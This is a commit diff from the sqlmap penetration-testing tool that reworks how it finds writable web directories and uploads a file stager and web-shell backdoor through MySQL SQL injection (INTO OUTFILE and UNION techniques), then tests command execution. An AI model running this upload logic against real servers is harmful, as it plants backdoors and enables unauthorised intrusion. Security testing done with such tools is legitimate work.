fixed and improved web shell upload in MySQL (it was actually broken since fc57b7565d)

This commit is contained in:
Bernardo Damele 2014-01-13 17:12:37 +00:00
parent 6863436d4e
commit dfa9076a70
2 changed files with 157 additions and 149 deletions

View File

@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
@ -610,15 +610,15 @@ def paramToDict(place, parameters=None):
return testableParameters return testableParameters
def getDocRoot(): def getManualDirectories():
docRoot = None directories = None
pagePath = directoryPath(conf.path) pagePath = directoryPath(conf.path)
defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX]) defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX])
if kb.absFilePaths: if kb.absFilePaths:
for absFilePath in kb.absFilePaths: for absFilePath in kb.absFilePaths:
if docRoot: if directories:
break break
if directoryPath(absFilePath) == '/': if directoryPath(absFilePath) == '/':
@ -636,41 +636,41 @@ def getDocRoot():
_ = "/%s/" % _ _ = "/%s/" % _
if _ in absFilePath: if _ in absFilePath:
docRoot = "%s%s" % (absFilePath.split(_)[0], _) directories = "%s%s" % (absFilePath.split(_)[0], _)
break break
if pagePath and pagePath in absFilePath: if pagePath and pagePath in absFilePath:
docRoot = absFilePath.split(pagePath)[0] directories = absFilePath.split(pagePath)[0]
if windowsDriveLetter: if windowsDriveLetter:
docRoot = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(docRoot)) directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories))
docRoot = normalizePath(docRoot) directories = normalizePath(directories)
if docRoot: if directories:
infoMsg = "retrieved the web server document root: '%s'" % docRoot infoMsg = "retrieved the web server document root: '%s'" % directories
logger.info(infoMsg) logger.info(infoMsg)
else: else:
warnMsg = "unable to retrieve automatically the web server " warnMsg = "unable to retrieve automatically the web server "
warnMsg += "document root" warnMsg += "document root"
logger.warn(warnMsg) logger.warn(warnMsg)
docRoot = [] directories = []
message = "what do you want to use for web server document root?\n" message = "what do you want to use for writable directory?\n"
message += "[1] common location(s) '%s' (default)\n" % ", ".join(root for root in defaultDocRoot) message += "[1] common location(s) '%s' (default)\n" % ", ".join(root for root in defaultDocRoot)
message += "[2] custom location\n" message += "[2] custom location(s)\n"
message += "[3] custom directory list file\n" message += "[3] custom directory list file\n"
message += "[4] brute force search\n" message += "[4] brute force search\n"
choice = readInput(message, default="1").strip() choice = readInput(message, default="1").strip()
if choice == "2": if choice == "2":
message = "please provide the web server document root: " message = "please provide a comma separate list of absolute directory paths: "
docRoot = readInput(message, default="").split(',') directories = readInput(message, default="").split(',')
elif choice == "3": elif choice == "3":
message = "what's the list file location?\n" message = "what's the list file location?\n"
listPath = readInput(message, default="") listPath = readInput(message, default="")
checkFile(listPath) checkFile(listPath)
docRoot = getFileItems(listPath) directories = getFileItems(listPath)
elif choice == "4": elif choice == "4":
targets = set([conf.hostname]) targets = set([conf.hostname])
_ = conf.hostname.split('.') _ = conf.hostname.split('.')
@ -691,31 +691,30 @@ def getDocRoot():
for target in targets: for target in targets:
item = "%s/%s" % (prefix, suffix) item = "%s/%s" % (prefix, suffix)
item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/') item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/')
docRoot.append(item) directories.append(item)
if BRUTE_DOC_ROOT_TARGET_MARK not in prefix: if BRUTE_DOC_ROOT_TARGET_MARK not in prefix:
break break
infoMsg = "using common document root locations: %s" % ','.join(docRoot) infoMsg = "using common directories: %s" % ','.join(directories)
logger.info(infoMsg) logger.info(infoMsg)
msg = "use additional custom " msg = "use additional custom directories [Enter for None]: "
msg += "document root locations [Enter for None]: "
answer = readInput(msg) answer = readInput(msg)
if answer: if answer:
docRoot.extend(answer.split(',')) directories.extend(answer.split(','))
else: else:
docRoot = defaultDocRoot directories = defaultDocRoot
return docRoot return directories
def getDirs(): def getAutoDirectories():
directories = set("/") directories = set("/")
if kb.absFilePaths: if kb.absFilePaths:
infoMsg = "retrieved web server full paths: " infoMsg = "retrieved web server absolute paths: "
infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths) infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths)
logger.info(infoMsg) logger.info(infoMsg)
@ -728,7 +727,8 @@ def getDirs():
warnMsg = "unable to retrieve automatically any web server path" warnMsg = "unable to retrieve automatically any web server path"
logger.warn(warnMsg) logger.warn(warnMsg)
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/", conf.url) webDir = extractRegexResult(r"//[^/]+?(?P<result>/.*)/", conf.url)
if webDir: if webDir:
directories.add(webDir) directories.add(webDir)

View File

@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
@ -17,8 +17,8 @@ from lib.core.agent import agent
from lib.core.common import arrayizeValue from lib.core.common import arrayizeValue
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import extractRegexResult from lib.core.common import extractRegexResult
from lib.core.common import getDirs from lib.core.common import getAutoDirectories
from lib.core.common import getDocRoot from lib.core.common import getManualDirectories
from lib.core.common import getPublicTypeMembers from lib.core.common import getPublicTypeMembers
from lib.core.common import getSQLSnippet from lib.core.common import getSQLSnippet
from lib.core.common import getUnicode from lib.core.common import getUnicode
@ -194,8 +194,9 @@ class Web:
self.webApi = choices[int(choice) - 1] self.webApi = choices[int(choice) - 1]
break break
kb.docRoot = arrayizeValue(getDocRoot()) directories = list(arrayizeValue(getManualDirectories()))
directories = sorted(getDirs()) directories.extend(getAutoDirectories())
directories = sorted(set(directories))
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
@ -204,66 +205,48 @@ class Web:
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False success = False
for docRoot in kb.docRoot: for directory in directories:
if success: if success:
break break
for directory in directories: uploaded = False
uriPath = "" directory = ntToPosixSlashes(normalizePath(directory))
if not all(isinstance(_, basestring) for _ in (docRoot, directory)): if not isWindowsDriveLetterPath(directory) and directory[0] != '/':
continue directory = "/%s" % directory
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else: else:
localPath = directory directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
if docRoot in uriPath: directory = posixpath.normpath(directory)
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
uriPath = "/%s" % webDir
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
# Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique # Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique
infoMsg = "trying to upload the file stager on '%s' " % localPath infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT INTO OUTFILE technique" infoMsg += "via LIMIT INTO OUTFILE technique"
logger.info(infoMsg) logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, localPath) self._webFileInject(stagerContent, stagerName, directory)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath) for x in list(re.finditer('/', directory)):
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName) self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():])
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/') self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
self.webStagerFilePath = posixpath.normpath(ntToPosixSlashes(os.path.join(directory, stagerName)))
debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or "" uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
# Fall-back to UNION queries file upload technique # Fall-back to UNION queries file upload technique
if "sqlmap file uploader" not in uplPage: if not uploaded:
warnMsg = "unable to upload the file stager " warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % localPath infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION technique" infoMsg += "via UNION technique"
logger.info(infoMsg) logger.info(infoMsg)
@ -272,7 +255,7 @@ class Web:
with open(filename, "w+") as f: with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath) _ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
f.write(utf8encode(_)) f.write(utf8encode(_))
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
@ -280,13 +263,38 @@ class Web:
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or "" uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage: for x in list(re.finditer('/', directory)):
continue self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():])
self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (directory, stagerName))).replace("//", "/").rstrip('/')
debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
else: else:
continue continue
if not uploaded:
self.webBaseUrl = "%s://%s:%d/" % (conf.scheme, conf.hostname, conf.port)
self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
self.webStagerFilePath = posixpath.normpath(ntToPosixSlashes(os.path.join(directory, stagerName)))
debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
continue
if "<%" in uplPage or "<?" in uplPage: if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % localPath warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted" warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg) logger.warn(warnMsg)
continue continue
@ -296,7 +304,7 @@ class Web:
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded " infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl) infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg) logger.info(infoMsg)
if self.webApi == WEB_API.ASP: if self.webApi == WEB_API.ASP:
@ -316,7 +324,7 @@ class Web:
continue continue
else: else:
if not self.webUpload(backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath, content=backdoorContent): if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded " warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because " warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process " warnMsg += "the user running the web server process "
@ -332,14 +340,14 @@ class Web:
getOutput = readInput(message, default="Y") getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"): if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName, localPath) self._webFileInject(backdoorContent, backdoorName, directory)
else: else:
continue continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = localPath self.webDirectory = directory
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/') self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (directory, backdoorName))).replace("//", "/").rstrip('/')
testStr = "command execution test" testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr) output = self.webBackdoorRunCmd("echo %s" % testStr)